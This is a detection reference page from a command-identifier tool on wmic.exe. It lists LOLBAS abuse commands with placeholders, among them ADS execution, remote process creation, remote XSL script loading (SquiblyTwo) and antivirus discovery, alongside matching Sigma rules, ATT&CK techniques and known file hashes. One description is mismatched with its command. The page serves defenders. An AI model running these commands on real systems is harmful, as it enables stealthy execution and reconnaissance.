Ceplin Command Identifier

Identifier / Programs / Windows

wmic.exe

Displays WMI information inside an interactive command shell. Windows commands reference

LOLBAS ADS, Execute, Copy 59 Sigma rules name it 15 ATT&CK techniques 7 documented commands 12 known copies with hashes

Opens the identifier with your command. It is read in your browser and sent nowhere.

How wmic.exe is abused

documented by LOLBAS

ADS T1564.004 Hide Artifacts: NTFS File Attributes

process create

Execute T1218 System Binary Proxy Execution

process create

Execute T1218 System Binary Proxy Execution

create

-node

Execute T1218 System Binary Proxy Execution

process get brief

-format

Copy T1105 Ingress Tool Transfer

datafile where copy

Execute T1518.001 Software Discovery: Security Software Discovery

antivirusproduct get

-namespace

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for wmic.exe.

7 documented commands

from LOLBAS, each read by the identifier

ADS T1564.004 Hide Artifacts: NTFS File Attributes User privileges

Execute a .EXE file stored as an Alternate Data Stream (ADS)

wmic.exe process call create "{PATH_ABSOLUTE}:program.exe"
Identify

Trips 1 Sigma rule: mediumProcess Creation Attempt via Wmic.EXE by Michael Haag, Florian Roth (Nextron Systems), juju4, oscd.community

Execute T1218 System Binary Proxy Execution User privileges

Execute calc from wmic

wmic.exe process call create "{CMD}"
Identify

Trips 1 Sigma rule: mediumProcess Creation Attempt via Wmic.EXE by Michael Haag, Florian Roth (Nextron Systems), juju4, oscd.community

Execute T1218 System Binary Proxy Execution User privileges

Execute evil.exe on the remote system.

wmic.exe /node:"192.168.0.1" process call create "{CMD}"
Identify

Trips 2 Sigma rules: mediumProcess Creation Attempt via Wmic.EXE by Michael Haag, Florian Roth (Nextron Systems), juju4, oscd.community; mediumWMIC Remote Command Execution by frack113, Nasreddine Bencherchali (Nextron Systems)

Execute T1218 System Binary Proxy Execution User privileges

Create a volume shadow copy of NTDS.dit that can be copied.

wmic.exe process get brief /format:"{REMOTEURL:.xsl}"
Identify

Trips 2 Sigma rules: highPotential Remote SquiblyTwo Technique Execution by Markus Neis, Florian Roth, Swachchhanda Shrawan Poudel (Nextron Systems); mediumPotential Process Reconnaissance via Wmic.EXE by frack113

Execute T1218 System Binary Proxy Execution User privileges

Executes JScript or VBScript embedded in the target remote XSL stylsheet.

wmic.exe process get brief /format:"{PATH_SMB:.xsl}"
Identify

Trips 2 Sigma rules: highPotential Remote SquiblyTwo Technique Execution by Markus Neis, Florian Roth, Swachchhanda Shrawan Poudel (Nextron Systems); mediumPotential Process Reconnaissance via Wmic.EXE by frack113

Copy T1105 Ingress Tool Transfer User privileges

Copy file from source to destination.

wmic.exe datafile where "Name='C:\\windows\\system32\\calc.exe'" call Copy "C:\\users\\public\\calc.exe"
Identify

Trips no Sigma process-creation rule.

Execute T1518.001 Software Discovery: Security Software Discovery User privileges

Executes WMIC to gather the existing Antivirus or EDR solution installed on the machine.

WMIC.exe /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName,productState
Identify

Trips 2 Sigma rules: mediumPotential Product Class Reconnaissance Via Wmic.EXE by Michael Haag, Florian Roth (Nextron Systems), juju4, oscd.community, Swachchhanda Shrawan Poudel (Nextron Systems); mediumPotential Product Reconnaissance Via Wmic.EXE by Nasreddine Bencherchali

6 of the 7 commands the identifier reads trip a Sigma process-creation rule; 1 trips none. These commands and their descriptions are from LOLBAS’s entry for wmic.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for wmic.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules
mediumProcess Creation Attempt via Wmic.EXEMichael Haag, Florian Roth (Nextron Systems), juju4, oscd.community
mediumComputer System Reconnaissance Via Wmic.EXENasreddine Bencherchali (Nextron Systems)
mediumHardware Model Reconnaissance Via Wmic.EXEFlorian Roth (Nextron Systems)
mediumWindows Hotfix Updates Reconnaissance Via Wmic.EXENasreddine Bencherchali (Nextron Systems)
mediumPotential Product Class Reconnaissance Via Wmic.EXEMichael Haag, Florian Roth (Nextron Systems), juju4, oscd.community, Swachchhanda Shrawan Poudel (Nextron Systems)
mediumService Reconnaissance Via Wmic.EXEfrack113, Nasreddine Bencherchali (Nextron Systems)
mediumPotential Unquoted Service Path Reconnaissance Via Wmic.EXENasreddine Bencherchali (Nextron Systems)
mediumSystem Disk And Volume Reconnaissance Via Wmic.EXEStephen Lincoln '@slincoln-aiq' (AttackIQ)
mediumWMIC Remote Command Executionfrack113, Nasreddine Bencherchali (Nextron Systems)
mediumService Started/Stopped Via Wmic.EXENasreddine Bencherchali (Nextron Systems)
mediumService Startup Type Change Via Wmic.EXESwachchhanda Shrawan Poudel (Nextron Systems)
mediumApplication Termination Attempt via Wmic.EXENasreddine Bencherchali (Nextron Systems)
mediumXSL Script Execution Via WMIC.EXETimur Zinniatullin, oscd.community, Swachchhanda Shrawan Poudel
lowSystem Information Discovery Via Wmic.EXEJoseliyo Sanchez, @Joseliyo_Jstnk
criticalPotential Maze Ransomware ActivityFlorian Roth (Nextron Systems)
highBlue MockingbirdTrent Liffick (@tliffick)
highPotential CVE-2023-21554 QueueJumper ExploitationNasreddine Bencherchali (Nextron Systems)
highPaperCut MF/NG Potential ExploitationNasreddine Bencherchali (Nextron Systems), Huntress DE&TH Team (idea)
highWindows Suspicious Child Process from Node.js - React2ShellSwachchhanda Shrawan Poudel (Nextron Systems), Nasreddine Bencherchali
highSuspicious Autorun Registry Modified via WMISwachchhanda Shrawan Poudel (Nextron Systems)
highSuspicious BitLocker Access Agent Update Utility Executionandrewdanis, Swachchhanda Shrawan Poudel (Nextron Systems)

And 29 more rules that name wmic.exe.

T1047Windows Management Instrumentation
T1057Process Discovery
T1059.005Command and Scripting Interpreter: Visual Basic
T1059.007Command and Scripting Interpreter: JavaScript
T1069.001Permission Groups Discovery: Local Groups
T1082System Information Discovery
T1105Ingress Tool Transfer
T1204.002User Execution: Malicious File
T1218System Binary Proxy Execution
T1218.010System Binary Proxy Execution: Regsvr32
T1220XSL Script Processing
T1518.001Software Discovery: Security Software Discovery
T1546.003Event Triggered Execution: Windows Management Instrumentation Event Subscription
T1564.004Hide Artifacts: NTFS File Attributes
T1685Disable or Modify Tools

Is it the real wmic.exe?

file version info and known copies
Installed inC:\Windows\system32\wbem\
C:\Windows\SysWOW64\wbem\
Signed byMicrosoft Windows
ProductMicrosoft Windows Operating System, Microsoft Corporation
DescriptionWMI Commandline Utility

12 known copies

10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\wbem\WMIC.exe · signed by Microsoft Windows

71dcb8cceedef8173e617f0dbc893c20936eda724479ed19e9624ed8648cba17

10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\wbem\WMIC.exe · signed by Microsoft Windows

9ca09a4366f3ef2006be964cb0de037219a311a2d49aafafa2c5bdc736dce1be

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\wbem\WMIC.exe · signed by Microsoft Windows

9578c31e1b58fa75a2b612456ebce324296e53a007e5697995cec5785956afe4

10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\wbem\WMIC.exe · signed by Microsoft Windows

fa78c88dac91fdf2eac736e6900ac1ec4ab7a388b8f77a23ffa7e80a4ad29f5a

10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\wbem\WMIC.exe · signed by Microsoft Windows

96bec668680152df51ec1de1d5362c64c2aba1eda86f9121f517646f5dec2b72

10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\wbem\WMIC.exe · signed by Microsoft Windows

a6acb58967159648c84d67b06dc6511a9a831386742b4f1f96b0a19afc8b8037

10.0.17763.1 (WinBuild.160101.0800) · C:\Windows\system32\wbem\WMIC.exe · signed by Microsoft Windows

34c4ed50a3441bd7cb6411749771c637a8c18c791525d8fcb5ae71b0b1969ba6

10.0.17763.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\wbem\WMIC.exe · signed by Microsoft Windows

f41a8470c4ecf503b576879a9043df5781f4f08d688012e3db391e04c8eb894a

10.0.14393.0 (rs1_release.160715-1616) · C:\Windows\system32\wbem\WMIC.exe · signed by Microsoft Windows

6679ea8fbeb539b5852ce8838420471fed0600f5050f3370dbb355dac76bf072

10.0.14393.0 (rs1_release.160715-1616) · C:\Windows\SysWOW64\wbem\WMIC.exe · signed by Microsoft Windows

969d91ffa56c80f82f893559316f6e1f12dc6c023411c43daedc80e8f9ac2652

6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\SysWOW64\wbem\WMIC.exe · not signed

42497534cdf28b26ce51a2dc26e5e5262e403cd512b725d47df97b43a6ff21fb

6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\system32\wbem\WMIC.exe · not signed

69fe210903c3f03436fe9f00a493cdb822a64ea17a5729593bbe9ec3e0763c1b

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.

Everyday use

from tldr-pages, CC BY 4.0

Run a command using the fundamental grammar

wmic alias where_clause verb_clauseIdentify

Show brief details about the currently running processes

wmic process list briefIdentify

Trips 1 Sigma rule: mediumPotential Process Reconnaissance via Wmic.EXE by frack113

Show full details about the currently running processes

wmic process list fullIdentify

Trips 1 Sigma rule: mediumPotential Process Reconnaissance via Wmic.EXE by frack113

Of the 3 examples the identifier reads, 2 match LOLBAS abuse or trip a Sigma process-creation rule.